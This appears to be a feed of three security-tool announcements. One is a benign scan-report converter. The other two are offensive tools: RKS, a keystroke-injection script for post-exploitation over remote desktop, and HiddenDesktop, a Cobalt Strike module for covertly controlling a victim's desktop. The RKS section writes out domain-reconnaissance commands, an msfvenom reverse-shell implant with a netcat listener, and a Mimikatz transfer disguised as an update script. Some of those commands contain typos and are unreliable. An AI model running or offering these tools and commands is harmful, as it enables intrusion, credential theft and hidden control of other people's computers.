Sr2T - Converts Scanning Reports To A Tabular Format

By: Zion3R — March 23rd 2024 at 11:30


Scanning reports to tabular (sr2t)

This tool takes a scanning tool's output file, and converts it to a tabular format (CSV, XLSX, or text table). This tool can process output from the following tools:

  1. Nmap (XML);
  2. Nessus (XML);
  3. Nikto (XML);
  4. Dirble (XML);
  5. Testssl (JSON);
  6. Fortify (FPR).

Rationale

This tool can offer a human-readable, tabular format which you can tie to any observations you have drafted in your report. Why? Because then your reviewers can tell that you, the pentester, investigated all found open ports, and looked at all scanning reports.

Dependencies

  1. argparse (dev-python/argparse);
  2. prettytable (dev-python/prettytable);
  3. python (dev-lang/python);
  4. xlsxwriter (dev-python/xlsxwriter).

Install

Using Pip:

pip install --user sr2t

Usage

You can use sr2t in two ways:

  • When installed as package, call the installed script: sr2t --help.
  • When Git cloned, call the package directly from the root of the Git repository: python -m src.sr2t --help 
$ sr2t --help

RKS - A Script To Automate Keystrokes Through A Graphical Desktop Program

By: Zion3R — March 1st 2024 at 11:30


A script to automate keystrokes through an active remote desktop session that assists offensive operators in combination with living off the land techniques.


About RKS (RemoteKeyStrokes)

All credits goes to nopernik for making it possible so I took it upon myself to improve it. I wanted something that helps during the post exploitation phase when executing commands through a remote desktop.


Help Menu
$ ./rks.sh -h
Usage: ./rks.sh (RemoteKeyStrokes)
Options:
    -c, --command <command | cmdfile>       Specify a command or a file containing to execute
    -i, --input <input_file>                Specify the local input file to transfer
    -o, --output <output_file>              Specify the remote output file to transfer
    -m, --method <method>                   Specify the file transfer or execution method
                                            (For file transfer "base64" is set by default if
                                            not specified. For execution method "none" is set
                                            by default if not specified)

    -p, --platform <operating_system>       Specify the operating system (windows is set by
                                            default if not specified)

    -w, --windowname <name>                     Specify t   he window name for graphical remote
                                            program (freerdp is set by default if not
                                            specified)

    -h, --help                              Display this help message

Usage

Internal Reconnaissance
  • When running in command prompt
$ cat recon_cmds.txt
whoami /all
net user
net localgroup Administrators
net user /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
net group "Domain Computers" /domain

$ ./rks.h -c recon_cmds.txt

Execute Implant
  • Execute an implant while reading the contents of the payload in powershell.
$ msfvenom -p windowx/x64/shell_reverse_tcp lhost=<IP> lport=4444 -f psh -o implant.ps1

$ ./rks.sh -c implant.ps1

$ nc -lvnp 4444

File Transfer
  • Transfer a file remotely when pivoting in a isolated network. If you want to specify the remote path on windows be sure to include quotes.
$ ./rks.sh -i /usr/share/powersploit/Privesc/PowerUp.ps1 -o script.ps1

$ ./rks.sh -i /usr/share/powersploit/Exfiltration/Invoke-Mimikatz.ps1 -o "C:\Windows\Temp\update.ps1" -m base64

Specify Grapical Remote Software
  • If you're targeting VNC network protocols you can specify the window name with tightvnc.

$ ./rks.sh -i implant.ps1 -w tightvnc

  • If you're targeting legacy operating systems with older RDP authentication specify the window name with rdesktop.

$ ./rks.sh -i implant.bat -w rdesktop


TODO and Help Wanted

  • Add text colors for better user experience

  • Implement Base64 file transfer

  • Implement Bin2Hex file transfer

  • Implement a persistence function for both windows and linux.

  • Implement antiforensics function for both windows and linux.

  • Implement to read shellcode input and run C# implant and powershell runspace

  • Implement privesc function for both windows and linux

HiddenDesktop - HVNC For Cobalt Strike

By: Zion3R — November 29th 2023 at 11:30


Hidden Desktop (often referred to as HVNC) is a tool that allows operators to interact with a remote desktop session without the user knowing. The VNC protocol is not involved, but the result is a similar experience. This Cobalt Strike BOF implementation was created as an alternative to TinyNuke/forks that are written in C++.

There are four components of Hidden Desktop:

  1. BOF initializer: Small program responsible for injecting the HVNC code into the Beacon process.

  2. HVNC shellcode: PIC implementation of TinyNuke HVNC.

  3. Server and operator UI: Server that listens for connections from the HVNC shellcode and a UI that allows the operator to interact with the remote desktop. Currently only supports Windows.

  4. Application launcher BOFs: Set of Beacon Object Files that execute applications in the new desktop.


Usage

Download the latest release or compile yourself using make. Start the HVNC server on a Windows machine accessible from the teamserver. You can then execute the client with:

HiddenDesktop <server> <port>

You should see a new blank window on the server machine. The BOF does not execute any applications by default. You can use the application launcher BOFs to execute common programs on the new desktop:

hd-launch-edge
hd-launch-explorer
hd-launch-run
hd-launch-cmd
hd-launch-chrome

You can also launch programs through File Explorer using the mouse and keyboard. Other applications can be executed using the following command:

hd-launch <command> [args]

Demo

Hidden.Desktop.mp4

Implementation Details

  1. The Aggressor script generates random pipe and desktop names. These are passed to the BOF initializer as arguments. The desktop name is stored in CS preferences at execution and is used by the application launcher BOFs. HVNC traffic is forwarded back to the team server using rportfwd. Status updates are sent back to Beacon through a named pipe.
  2. The BOF initializer starts by resolving the required modules and functions. Arguments from the Aggressor script are resolved. A pointer to a structure containing the arguments and function addresses is passed to the InputHandler function in the HVNC shellcode. It uses BeaconInjectProcess to execute the shellcode, meaning the behavior can be customized in a Malleable C2 profile or with process injection BOFs. You could modify Hidden Desktop to target remote processes, but this is not currently supported. This is done so the BOF can exit and the HVNC shellcode can continue running.
  3. InputHandler creates a new named pipe for Beacon to connect to. Once a connection has been established, the specified desktop is opened (OpenDesktopA) or created (CreateDesktopA). A new socket is established through a reverse port forward (rportfwd) to the HVNC server. The input handler creates a new thread for the DesktopHandler function described below. This thread will receive mouse and keyboard input from the HVNC server and forward it to the desktop.
  4. DesktopHandler establishes an additional socket connection to the HVNC server through the reverse port forward. This thread will monitor windows for changes and forward them to the HVNC server.

Compatibility

The HiddenDesktop BOF was tested using example.profile on the following Windows versions/architectures:

  • Windows Server 2022 x64
  • Windows Server 2016 x64
  • Windows Server 2012 R2 x64
  • Windows Server 2008 x86
  • Windows 7 SP1 x64

Known Issues

  • The start menu is not functional.
